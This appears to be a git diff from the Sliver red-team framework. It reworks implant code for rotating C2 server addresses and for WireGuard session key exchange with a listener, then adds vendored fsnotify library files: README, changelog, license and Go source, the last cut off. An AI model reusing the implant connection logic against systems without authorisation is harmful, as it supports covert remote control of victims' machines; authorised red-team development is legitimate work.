// {{end}}
c2Servers := []func() string{}
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
generator := make(chan *url.URL)
go func() {
defer close(generator)
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
var next string
switch "{{.Config.ConnectionStrategy}}" {
case strategyRandom: // Random
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
case strategyRandomDomain: // Random Domain
// Select the next sequential C2 then use it's protocol to make a random
// selection from all C2s that share it's protocol.
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = randomCCDomain(c2Servers, next)
case strategySequential: // Sequential
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
}
c2Counter++
if ^uint(0) < c2Counter {
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(ccServers []string, next string) string {
func randomCCDomain(ccServers []func() string, next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []string{}
pool := []func() string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc)
uri, err := url.Parse(cc())
if err != nil {
continue
}
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]
return pool[insecureRand.Intn(len(pool))]()
}
var (
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -59,7 +59,11 @@ var (
wgKeyExchangePort = getWgKeyExchangePort()
wgTcpCommsPort = getWgTcpCommsPort()
wgSessPrivKey string
wgSessPubKey string
PingInterval = 2 * time.Minute
failedConn = 0
)
// GetTNet - Get the netstack Net object
@@ -151,12 +155,11 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return envelope, nil
}
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
func getSessKeys(address string, port uint16) error {
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
if err != nil {
return nil, nil, err
return err
}
dev.Up()
@@ -170,10 +173,10 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// {{if .Config.Debug}}
log.Printf("Unable to connect to wg key exchange listener: %v", err)
// {{end}}
return nil, nil, err
return err
}
privKey, pubKey, newIP := doKeyExchange(keyExchangeConnection)
wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)
// {{if .Config.Debug}}
log.Printf("Signaling wg device to go down")
@@ -186,12 +189,21 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// {{if .Config.Debug}}
log.Printf("Failed to close device.Device: %s", err)
// {{end}}
return nil, nil, err
return err
}
return nil
}
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
if wgSessPrivKey == "" || failedConn > 2 {
getSessKeys(address, port)
}
// Bring up second wireguard connection using retrieved keys and IP
_, dev, tNet, err = bringUpWGInterface(address, port, privKey, pubKey, newIP)
// Bring up actual wireguard connection using retrieved keys and IP
_, dev, tNet, err := bringUpWGInterface(address, port, wgSessPrivKey, wgSessPubKey, tunAddress)
if err != nil {
failedConn++
return nil, nil, err
}
@@ -200,14 +212,15 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// {{if .Config.Debug}}
log.Printf("Unable to connect to sliver listener: %v", err)
// {{end}}
failedConn++
return nil, nil, err
}
// {{if .Config.Debug}}
log.Printf("Successfully connected to sliver listener")
// {{end}}
failedConn = 0
tunnelNet = tNet
tunAddress = newIP
return connection, dev, nil
}
+12
View File
@@ -0,0 +1,12 @@
root = true
[*.go]
indent_style = tab
indent_size = 4
insert_final_newline = true
[*.{yml,yaml}]
indent_style = space
indent_size = 2
insert_final_newline = true
trim_trailing_whitespace = true
@@ -0,0 +1 @@
go.sum linguist-generated
+6
View File
@@ -0,0 +1,6 @@
# Setup a Global .gitignore for OS and editor generated files:
# https://help.github.com/articles/ignoring-files
# git config --global core.excludesfile ~/.gitignore_global
.vagrant
*.sublime-project
+36
View File
@@ -0,0 +1,36 @@
sudo: false
language: go
go:
- "stable"
- "1.11.x"
- "1.10.x"
- "1.9.x"
matrix:
include:
- go: "stable"
env: GOLINT=true
allow_failures:
- go: tip
fast_finish: true
before_install:
- if [ ! -z "${GOLINT}" ]; then go get -u golang.org/x/lint/golint; fi
script:
- go test --race ./...
after_script:
- test -z "$(gofmt -s -l -w . | tee /dev/stderr)"
- if [ ! -z "${GOLINT}" ]; then echo running golint; golint --set_exit_status ./...; else echo skipping golint; fi
- go vet ./...
os:
- linux
- osx
- windows
notifications:
email: false
+52
View File
@@ -0,0 +1,52 @@
# Names should be added to this file as
# Name or Organization <email address>
# The email address is not required for organizations.
# You can update this list using the following command:
#
# $ git shortlog -se | awk '{print $2 " " $3 " " $4}'
# Please keep the list sorted.
Aaron L <[email protected]>
Adrien Bustany <[email protected]>
Amit Krishnan <[email protected]>
Anmol Sethi <[email protected]>
Bjørn Erik Pedersen <[email protected]>
Bruno Bigras <[email protected]>
Caleb Spare <[email protected]>
Case Nelson <[email protected]>
Chris Howey <[email protected]> <[email protected]>
Christoffer Buchholz <[email protected]>
Daniel Wagner-Hall <[email protected]>
Dave Cheney <[email protected]>
Evan Phoenix <[email protected]>
Francisco Souza <[email protected]>
Hari haran <[email protected]>
John C Barstow
Kelvin Fo <[email protected]>
Ken-ichirou MATSUZAWA <[email protected]>
Matt Layher <[email protected]>
Nathan Youngman <[email protected]>
Nickolai Zeldovich <[email protected]>
Patrick <[email protected]>
Paul Hammond <[email protected]>
Pawel Knap <[email protected]>
Pieter Droogendijk <[email protected]>
Pursuit92 <[email protected]>
Riku Voipio <[email protected]>
Rob Figueiredo <[email protected]>
Rodrigo Chiossi <[email protected]>
Slawek Ligus <[email protected]>
Soge Zhang <[email protected]>
Tiffany Jernigan <[email protected]>
Tilak Sharma <[email protected]>
Tom Payne <[email protected]>
Travis Cline <[email protected]>
Tudor Golubenco <[email protected]>
Vahe Khachikyan <[email protected]>
Yukang <[email protected]>
bronze1man <[email protected]>
debrando <[email protected]>
henrikedwards <[email protected]>
铁哥 <[email protected]>
+317
View File
@@ -0,0 +1,317 @@
# Changelog
## v1.4.7 / 2018-01-09
* BSD/macOS: Fix possible deadlock on closing the watcher on kqueue (thanks @nhooyr and @glycerine)
* Tests: Fix missing verb on format string (thanks @rchiossi)
* Linux: Fix deadlock in Remove (thanks @aarondl)
* Linux: Watch.Add improvements (avoid race, fix consistency, reduce garbage) (thanks @twpayne)
* Docs: Moved FAQ into the README (thanks @vahe)
* Linux: Properly handle inotify's IN_Q_OVERFLOW event (thanks @zeldovich)
* Docs: replace references to OS X with macOS
## v1.4.2 / 2016-10-10
* Linux: use InotifyInit1 with IN_CLOEXEC to stop leaking a file descriptor to a child process when using fork/exec [#178](https://github.com/fsnotify/fsnotify/pull/178) (thanks @pattyshack)
## v1.4.1 / 2016-10-04
* Fix flaky inotify stress test on Linux [#177](https://github.com/fsnotify/fsnotify/pull/177) (thanks @pattyshack)
## v1.4.0 / 2016-10-01
* add a String() method to Event.Op [#165](https://github.com/fsnotify/fsnotify/pull/165) (thanks @oozie)
## v1.3.1 / 2016-06-28
* Windows: fix for double backslash when watching the root of a drive [#151](https://github.com/fsnotify/fsnotify/issues/151) (thanks @brunoqc)
## v1.3.0 / 2016-04-19
* Support linux/arm64 by [patching](https://go-review.googlesource.com/#/c/21971/) x/sys/unix and switching to to it from syscall (thanks @suihkulokki) [#135](https://github.com/fsnotify/fsnotify/pull/135)
## v1.2.10 / 2016-03-02
* Fix golint errors in windows.go [#121](https://github.com/fsnotify/fsnotify/pull/121) (thanks @tiffanyfj)
## v1.2.9 / 2016-01-13
kqueue: Fix logic for CREATE after REMOVE [#111](https://github.com/fsnotify/fsnotify/pull/111) (thanks @bep)
## v1.2.8 / 2015-12-17
* kqueue: fix race condition in Close [#105](https://github.com/fsnotify/fsnotify/pull/105) (thanks @djui for reporting the issue and @ppknap for writing a failing test)
* inotify: fix race in test
* enable race detection for continuous integration (Linux, Mac, Windows)
## v1.2.5 / 2015-10-17
* inotify: use epoll_create1 for arm64 support (requires Linux 2.6.27 or later) [#100](https://github.com/fsnotify/fsnotify/pull/100) (thanks @suihkulokki)
* inotify: fix path leaks [#73](https://github.com/fsnotify/fsnotify/pull/73) (thanks @chamaken)
* kqueue: watch for rename events on subdirectories [#83](https://github.com/fsnotify/fsnotify/pull/83) (thanks @guotie)
* kqueue: avoid infinite loops from symlinks cycles [#101](https://github.com/fsnotify/fsnotify/pull/101) (thanks @illicitonion)
## v1.2.1 / 2015-10-14
* kqueue: don't watch named pipes [#98](https://github.com/fsnotify/fsnotify/pull/98) (thanks @evanphx)
## v1.2.0 / 2015-02-08
* inotify: use epoll to wake up readEvents [#66](https://github.com/fsnotify/fsnotify/pull/66) (thanks @PieterD)
* inotify: closing watcher should now always shut down goroutine [#63](https://github.com/fsnotify/fsnotify/pull/63) (thanks @PieterD)
* kqueue: close kqueue after removing watches, fixes [#59](https://github.com/fsnotify/fsnotify/issues/59)
## v1.1.1 / 2015-02-05
* inotify: Retry read on EINTR [#61](https://github.com/fsnotify/fsnotify/issues/61) (thanks @PieterD)
## v1.1.0 / 2014-12-12
* kqueue: rework internals [#43](https://github.com/fsnotify/fsnotify/pull/43)
* add low-level functions
* only need to store flags on directories
* less mutexes [#13](https://github.com/fsnotify/fsnotify/issues/13)
* done can be an unbuffered channel
* remove calls to os.NewSyscallError
* More efficient string concatenation for Event.String() [#52](https://github.com/fsnotify/fsnotify/pull/52) (thanks @mdlayher)
* kqueue: fix regression in rework causing subdirectories to be watched [#48](https://github.com/fsnotify/fsnotify/issues/48)
* kqueue: cleanup internal watch before sending remove event [#51](https://github.com/fsnotify/fsnotify/issues/51)
## v1.0.4 / 2014-09-07
* kqueue: add dragonfly to the build tags.
* Rename source code files, rearrange code so exported APIs are at the top.
* Add done channel to example code. [#37](https://github.com/fsnotify/fsnotify/pull/37) (thanks @chenyukang)
## v1.0.3 / 2014-08-19
* [Fix] Windows MOVED_TO now translates to Create like on BSD and Linux. [#36](https://github.com/fsnotify/fsnotify/issues/36)
## v1.0.2 / 2014-08-17
* [Fix] Missing create events on macOS. [#14](https://github.com/fsnotify/fsnotify/issues/14) (thanks @zhsso)
* [Fix] Make ./path and path equivalent. (thanks @zhsso)
## v1.0.0 / 2014-08-15
* [API] Remove AddWatch on Windows, use Add.
* Improve documentation for exported identifiers. [#30](https://github.com/fsnotify/fsnotify/issues/30)
* Minor updates based on feedback from golint.
## dev / 2014-07-09
* Moved to [github.com/fsnotify/fsnotify](https://github.com/fsnotify/fsnotify).
* Use os.NewSyscallError instead of returning errno (thanks @hariharan-uno)
## dev / 2014-07-04
* kqueue: fix incorrect mutex used in Close()
* Update example to demonstrate usage of Op.
## dev / 2014-06-28
* [API] Don't set the Write Op for attribute notifications [#4](https://github.com/fsnotify/fsnotify/issues/4)
* Fix for String() method on Event (thanks Alex Brainman)
* Don't build on Plan 9 or Solaris (thanks @4ad)
## dev / 2014-06-21
* Events channel of type Event rather than *Event.
* [internal] use syscall constants directly for inotify and kqueue.
* [internal] kqueue: rename events to kevents and fileEvent to event.
## dev / 2014-06-19
* Go 1.3+ required on Windows (uses syscall.ERROR_MORE_DATA internally).
* [internal] remove cookie from Event struct (unused).
* [internal] Event struct has the same definition across every OS.
* [internal] remove internal watch and removeWatch methods.
## dev / 2014-06-12
* [API] Renamed Watch() to Add() and RemoveWatch() to Remove().
* [API] Pluralized channel names: Events and Errors.
* [API] Renamed FileEvent struct to Event.
* [API] Op constants replace methods like IsCreate().
## dev / 2014-06-12
* Fix data race on kevent buffer (thanks @tilaks) [#98](https://github.com/howeyc/fsnotify/pull/98)
## dev / 2014-05-23
* [API] Remove current implementation of WatchFlags.
* current implementation doesn't take advantage of OS for efficiency
* provides little benefit over filtering events as they are received, but has extra bookkeeping and mutexes
* no tests for the current implementation
* not fully implemented on Windows [#93](https://github.com/howeyc/fsnotify/issues/93#issuecomment-39285195)
## v0.9.3 / 2014-12-31
* kqueue: cleanup internal watch before sending remove event [#51](https://github.com/fsnotify/fsnotify/issues/51)
## v0.9.2 / 2014-08-17
* [Backport] Fix missing create events on macOS. [#14](https://github.com/fsnotify/fsnotify/issues/14) (thanks @zhsso)
## v0.9.1 / 2014-06-12
* Fix data race on kevent buffer (thanks @tilaks) [#98](https://github.com/howeyc/fsnotify/pull/98)
## v0.9.0 / 2014-01-17
* IsAttrib() for events that only concern a file's metadata [#79][] (thanks @abustany)
* [Fix] kqueue: fix deadlock [#77][] (thanks @cespare)
* [NOTICE] Development has moved to `code.google.com/p/go.exp/fsnotify` in preparation for inclusion in the Go standard library.
## v0.8.12 / 2013-11-13
* [API] Remove FD_SET and friends from Linux adapter
## v0.8.11 / 2013-11-02
* [Doc] Add Changelog [#72][] (thanks @nathany)
* [Doc] Spotlight and double modify events on macOS [#62][] (reported by @paulhammond)
## v0.8.10 / 2013-10-19
* [Fix] kqueue: remove file watches when parent directory is removed [#71][] (reported by @mdwhatcott)
* [Fix] kqueue: race between Close and readEvents [#70][] (reported by @bernerdschaefer)
* [Doc] specify OS-specific limits in README (thanks @debrando)
## v0.8.9 / 2013-09-08
* [Doc] Contributing (thanks @nathany)
* [Doc] update package path in example code [#63][] (thanks @paulhammond)
* [Doc] GoCI badge in README (Linux only) [#60][]
* [Doc] Cross-platform testing with Vagrant [#59][] (thanks @nathany)
## v0.8.8 / 2013-06-17
* [Fix] Windows: handle `ERROR_MORE_DATA` on Windows [#49][] (thanks @jbowtie)
## v0.8.7 / 2013-06-03
* [API] Make syscall flags internal
* [Fix] inotify: ignore event changes
* [Fix] race in symlink test [#45][] (reported by @srid)
* [Fix] tests on Windows
* lower case error messages
## v0.8.6 / 2013-05-23
* kqueue: Use EVT_ONLY flag on Darwin
* [Doc] Update README with full example
## v0.8.5 / 2013-05-09
* [Fix] inotify: allow monitoring of "broken" symlinks (thanks @tsg)
## v0.8.4 / 2013-04-07
* [Fix] kqueue: watch all file events [#40][] (thanks @ChrisBuchholz)
## v0.8.3 / 2013-03-13
* [Fix] inoitfy/kqueue memory leak [#36][] (reported by @nbkolchin)
* [Fix] kqueue: use fsnFlags for watching a directory [#33][] (reported by @nbkolchin)
## v0.8.2 / 2013-02-07
* [Doc] add Authors
* [Fix] fix data races for map access [#29][] (thanks @fsouza)
## v0.8.1 / 2013-01-09
* [Fix] Windows path separators
* [Doc] BSD License
## v0.8.0 / 2012-11-09
* kqueue: directory watching improvements (thanks @vmirage)
* inotify: add `IN_MOVED_TO` [#25][] (requested by @cpisto)
* [Fix] kqueue: deleting watched directory [#24][] (reported by @jakerr)
## v0.7.4 / 2012-10-09
* [Fix] inotify: fixes from https://codereview.appspot.com/5418045/ (ugorji)
* [Fix] kqueue: preserve watch flags when watching for delete [#21][] (reported by @robfig)
* [Fix] kqueue: watch the directory even if it isn't a new watch (thanks @robfig)
* [Fix] kqueue: modify after recreation of file
## v0.7.3 / 2012-09-27
* [Fix] kqueue: watch with an existing folder inside the watched folder (thanks @vmirage)
* [Fix] kqueue: no longer get duplicate CREATE events
## v0.7.2 / 2012-09-01
* kqueue: events for created directories
## v0.7.1 / 2012-07-14
* [Fix] for renaming files
## v0.7.0 / 2012-07-02
* [Feature] FSNotify flags
* [Fix] inotify: Added file name back to event path
## v0.6.0 / 2012-06-06
* kqueue: watch files after directory created (thanks @tmc)
## v0.5.1 / 2012-05-22
* [Fix] inotify: remove all watches before Close()
## v0.5.0 / 2012-05-03
* [API] kqueue: return errors during watch instead of sending over channel
* kqueue: match symlink behavior on Linux
* inotify: add `DELETE_SELF` (requested by @taralx)
* [Fix] kqueue: handle EINTR (reported by @robfig)
* [Doc] Godoc example [#1][] (thanks @davecheney)
## v0.4.0 / 2012-03-30
* Go 1 released: build with go tool
* [Feature] Windows support using winfsnotify
* Windows does not have attribute change notifications
* Roll attribute notifications into IsModify
## v0.3.0 / 2012-02-19
* kqueue: add files when watch directory
## v0.2.0 / 2011-12-30
* update to latest Go weekly code
## v0.1.0 / 2011-10-19
* kqueue: add watch on file creation to match inotify
* kqueue: create file event
* inotify: ignore `IN_IGNORED` events
* event String()
* linux: common FileEvent functions
* initial commit
[#79]: https://github.com/howeyc/fsnotify/pull/79
[#77]: https://github.com/howeyc/fsnotify/pull/77
[#72]: https://github.com/howeyc/fsnotify/issues/72
[#71]: https://github.com/howeyc/fsnotify/issues/71
[#70]: https://github.com/howeyc/fsnotify/issues/70
[#63]: https://github.com/howeyc/fsnotify/issues/63
[#62]: https://github.com/howeyc/fsnotify/issues/62
[#60]: https://github.com/howeyc/fsnotify/issues/60
[#59]: https://github.com/howeyc/fsnotify/issues/59
[#49]: https://github.com/howeyc/fsnotify/issues/49
[#45]: https://github.com/howeyc/fsnotify/issues/45
[#40]: https://github.com/howeyc/fsnotify/issues/40
[#36]: https://github.com/howeyc/fsnotify/issues/36
[#33]: https://github.com/howeyc/fsnotify/issues/33
[#29]: https://github.com/howeyc/fsnotify/issues/29
[#25]: https://github.com/howeyc/fsnotify/issues/25
[#24]: https://github.com/howeyc/fsnotify/issues/24
[#21]: https://github.com/howeyc/fsnotify/issues/21
+77
View File
@@ -0,0 +1,77 @@
# Contributing
## Issues
* Request features and report bugs using the [GitHub Issue Tracker](https://github.com/fsnotify/fsnotify/issues).
* Please indicate the platform you are using fsnotify on.
* A code example to reproduce the problem is appreciated.
## Pull Requests
### Contributor License Agreement
fsnotify is derived from code in the [golang.org/x/exp](https://godoc.org/golang.org/x/exp) package and it may be included [in the standard library](https://github.com/fsnotify/fsnotify/issues/1) in the future. Therefore fsnotify carries the same [LICENSE](https://github.com/fsnotify/fsnotify/blob/master/LICENSE) as Go. Contributors retain their copyright, so you need to fill out a short form before we can accept your contribution: [Google Individual Contributor License Agreement](https://developers.google.com/open-source/cla/individual).
Please indicate that you have signed the CLA in your pull request.
### How fsnotify is Developed
* Development is done on feature branches.
* Tests are run on BSD, Linux, macOS and Windows.
* Pull requests are reviewed and [applied to master][am] using [hub][].
* Maintainers may modify or squash commits rather than asking contributors to.
* To issue a new release, the maintainers will:
* Update the CHANGELOG
* Tag a version, which will become available through gopkg.in.
### How to Fork
For smooth sailing, always use the original import path. Installing with `go get` makes this easy.
1. Install from GitHub (`go get -u github.com/fsnotify/fsnotify`)
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Ensure everything works and the tests pass (see below)
4. Commit your changes (`git commit -am 'Add some feature'`)
Contribute upstream:
1. Fork fsnotify on GitHub
2. Add your remote (`git remote add fork [email protected]:mycompany/repo.git`)
3. Push to the branch (`git push fork my-new-feature`)
4. Create a new Pull Request on GitHub
This workflow is [thoroughly explained by Katrina Owen](https://splice.com/blog/contributing-open-source-git-repositories-go/).
### Testing
fsnotify uses build tags to compile different code on Linux, BSD, macOS, and Windows.
Before doing a pull request, please do your best to test your changes on multiple platforms, and list which platforms you were able/unable to test on.
To aid in cross-platform testing there is a Vagrantfile for Linux and BSD.
* Install [Vagrant](http://www.vagrantup.com/) and [VirtualBox](https://www.virtualbox.org/)
* Setup [Vagrant Gopher](https://github.com/nathany/vagrant-gopher) in your `src` folder.
* Run `vagrant up` from the project folder. You can also setup just one box with `vagrant up linux` or `vagrant up bsd` (note: the BSD box doesn't support Windows hosts at this time, and NFS may prompt for your host OS password)
* Once setup, you can run the test suite on a given OS with a single command `vagrant ssh linux -c 'cd fsnotify/fsnotify; go test'`.
* When you're done, you will want to halt or destroy the Vagrant boxes.
Notice: fsnotify file system events won't trigger in shared folders. The tests get around this limitation by using the /tmp directory.
Right now there is no equivalent solution for Windows and macOS, but there are Windows VMs [freely available from Microsoft](http://www.modern.ie/en-us/virtualization-tools#downloads).
### Maintainers
Help maintaining fsnotify is welcome. To be a maintainer:
* Submit a pull request and sign the CLA as above.
* You must be able to run the test suite on Mac, Windows, Linux and BSD.
To keep master clean, the fsnotify project uses the "apply mail" workflow outlined in Nathaniel Talbott's post ["Merge pull request" Considered Harmful][am]. This requires installing [hub][].
All code changes should be internal pull requests.
Releases are tagged using [Semantic Versioning](http://semver.org/).
[hub]: https://github.com/github/hub
[am]: http://blog.spreedly.com/2014/06/24/merge-pull-request-considered-harmful/#.VGa5yZPF_Zs
+28
View File
@@ -0,0 +1,28 @@
Copyright (c) 2012 The Go Authors. All rights reserved.
Copyright (c) 2012-2019 fsnotify Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+130
View File
@@ -0,0 +1,130 @@
# File system notifications for Go
[![GoDoc](https://godoc.org/github.com/fsnotify/fsnotify?status.svg)](https://godoc.org/github.com/fsnotify/fsnotify) [![Go Report Card](https://goreportcard.com/badge/github.com/fsnotify/fsnotify)](https://goreportcard.com/report/github.com/fsnotify/fsnotify)
fsnotify utilizes [golang.org/x/sys](https://godoc.org/golang.org/x/sys) rather than `syscall` from the standard library. Ensure you have the latest version installed by running:
```console
go get -u golang.org/x/sys/...
```
Cross platform: Windows, Linux, BSD and macOS.
| Adapter | OS | Status |
| --------------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
| inotify | Linux 2.6.27 or later, Android\* | Supported [![Build Status](https://travis-ci.org/fsnotify/fsnotify.svg?branch=master)](https://travis-ci.org/fsnotify/fsnotify) |
| kqueue | BSD, macOS, iOS\* | Supported [![Build Status](https://travis-ci.org/fsnotify/fsnotify.svg?branch=master)](https://travis-ci.org/fsnotify/fsnotify) |
| ReadDirectoryChangesW | Windows | Supported [![Build Status](https://travis-ci.org/fsnotify/fsnotify.svg?branch=master)](https://travis-ci.org/fsnotify/fsnotify) |
| FSEvents | macOS | [Planned](https://github.com/fsnotify/fsnotify/issues/11) |
| FEN | Solaris 11 | [In Progress](https://github.com/fsnotify/fsnotify/issues/12) |
| fanotify | Linux 2.6.37+ | [Planned](https://github.com/fsnotify/fsnotify/issues/114) |
| USN Journals | Windows | [Maybe](https://github.com/fsnotify/fsnotify/issues/53) |
| Polling | *All* | [Maybe](https://github.com/fsnotify/fsnotify/issues/9) |
\* Android and iOS are untested.
Please see [the documentation](https://godoc.org/github.com/fsnotify/fsnotify) and consult the [FAQ](#faq) for usage information.
## API stability
fsnotify is a fork of [howeyc/fsnotify](https://godoc.org/github.com/howeyc/fsnotify) with a new API as of v1.0. The API is based on [this design document](http://goo.gl/MrYxyA).
All [releases](https://github.com/fsnotify/fsnotify/releases) are tagged based on [Semantic Versioning](http://semver.org/). Further API changes are [planned](https://github.com/fsnotify/fsnotify/milestones), and will be tagged with a new major revision number.
Go 1.6 supports dependencies located in the `vendor/` folder. Unless you are creating a library, it is recommended that you copy fsnotify into `vendor/github.com/fsnotify/fsnotify` within your project, and likewise for `golang.org/x/sys`.
## Usage
```go
package main
import (
"log"
"github.com/fsnotify/fsnotify"
)
func main() {
watcher, err := fsnotify.NewWatcher()
if err != nil {
log.Fatal(err)
}
defer watcher.Close()
done := make(chan bool)
go func() {
for {
select {
case event, ok := <-watcher.Events:
if !ok {
return
}
log.Println("event:", event)
if event.Op&fsnotify.Write == fsnotify.Write {
log.Println("modified file:", event.Name)
}
case err, ok := <-watcher.Errors:
if !ok {
return
}
log.Println("error:", err)
}
}
}()
err = watcher.Add("/tmp/foo")
if err != nil {
log.Fatal(err)
}
<-done
}
```
## Contributing
Please refer to [CONTRIBUTING][] before opening an issue or pull request.
## Example
See [example_test.go](https://github.com/fsnotify/fsnotify/blob/master/example_test.go).
## FAQ
**When a file is moved to another directory is it still being watched?**
No (it shouldn't be, unless you are watching where it was moved to).
**When I watch a directory, are all subdirectories watched as well?**
No, you must add watches for any directory you want to watch (a recursive watcher is on the roadmap [#18][]).
**Do I have to watch the Error and Event channels in a separate goroutine?**
As of now, yes. Looking into making this single-thread friendly (see [howeyc #7][#7])
**Why am I receiving multiple events for the same file on OS X?**
Spotlight indexing on OS X can result in multiple events (see [howeyc #62][#62]). A temporary workaround is to add your folder(s) to the *Spotlight Privacy settings* until we have a native FSEvents implementation (see [#11][]).
**How many files can be watched at once?**
There are OS-specific limits as to how many watches can be created:
* Linux: /proc/sys/fs/inotify/max_user_watches contains the limit, reaching this limit results in a "no space left on device" error.
* BSD / OSX: sysctl variables "kern.maxfiles" and "kern.maxfilesperproc", reaching these limits results in a "too many open files" error.
**Why don't notifications work with NFS filesystems or filesystem in userspace (FUSE)?**
fsnotify requires support from underlying OS to work. The current NFS protocol does not provide network level support for file notifications.
[#62]: https://github.com/howeyc/fsnotify/issues/62
[#18]: https://github.com/fsnotify/fsnotify/issues/18
[#11]: https://github.com/fsnotify/fsnotify/issues/11
[#7]: https://github.com/howeyc/fsnotify/issues/7
[contributing]: https://github.com/fsnotify/fsnotify/blob/master/CONTRIBUTING.md
## Related Projects
* [notify](https://github.com/rjeczalik/notify)
* [fsevents](https://github.com/fsnotify/fsevents)
+37
View File
@@ -0,0 +1,37 @@
// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build solaris
package fsnotify
import (
"errors"
)
// Watcher watches a set of files, delivering events to a channel.
type Watcher struct {
Events chan Event
Errors chan error
}
// NewWatcher establishes a new watcher with the underlying OS and begins waiting for events.
func NewWatcher() (*Watcher, error) {
return nil, errors.New("FEN based watcher not yet supported for fsnotify\n")
}
// Close removes all watches and closes the events channel.
func (w *Watcher) Close() error {
return nil
}
// Add starts watching the named file or directory (non-recursively).
func (w *Watcher) Add(name string) error {
return nil
}
// Remove stops watching the the named file or directory (non-recursively).
func (w *Watcher) Remove(name string) error {
return nil
}
+68
View File
@@ -0,0 +1,68 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !plan9
// Package fsnotify provides a platform-independent interface for file system notifications.
package fsnotify
import (
"bytes"
"errors"
"fmt"
)
// Event represents a single file system notification.
type Event struct {
Name string // Relative path to the file or directory.
Op Op // File operation that triggered the event.
}
// Op describes a set of file operations.
type Op uint32
// These are the generalized file operations that can trigger a notification.
const (
Create Op = 1 << iota
Write
Remove
Rename
Chmod
)
func (op Op) String() string {
// Use a buffer for efficient string concatenation
var buffer bytes.Buffer
if op&Create == Create {
buffer.WriteString("|CREATE")
}
if op&Remove == Remove {
buffer.WriteString("|REMOVE")
}
if op&Write == Write {
buffer.WriteString("|WRITE")
}
if op&Rename == Rename {
buffer.WriteString("|RENAME")
}
if op&Chmod == Chmod {
buffer.WriteString("|CHMOD")
}
if buffer.Len() == 0 {
return ""
}
return buffer.String()[1:] // Strip leading pipe
}
// String returns a string representation of the event in the form
// "file: REMOVE|WRITE|..."
func (e Event) String() string {
return fmt.Sprintf("%q: %s", e.Name, e.Op.String())
}
// Common errors that can be reported by a watcher
var (
ErrEventOverflow = errors.New("fsnotify queue overflow")
)
+337
View File
@@ -0,0 +1,337 @@
// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build linux
package fsnotify
import (
"errors"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"sync"
"unsafe"
"golang.org/x/sys/unix"
)
// Watcher watches a set of files, delivering events to a channel.
type Watcher struct {
Events chan Event
Errors chan error
mu sync.Mutex // Map access
fd int
poller *fdPoller
watches map[string]*watch // Map of inotify watches (key: path)
paths map[int]string // Map of watched paths (key: watch descriptor)
done chan struct{} // Channel for sending a "quit message" to the reader goroutine
doneResp chan struct{} // Channel to respond to Close
}
// NewWatcher establishes a new watcher with the underlying OS and begins waiting for events.
func NewWatcher() (*Watcher, error) {
// Create inotify fd
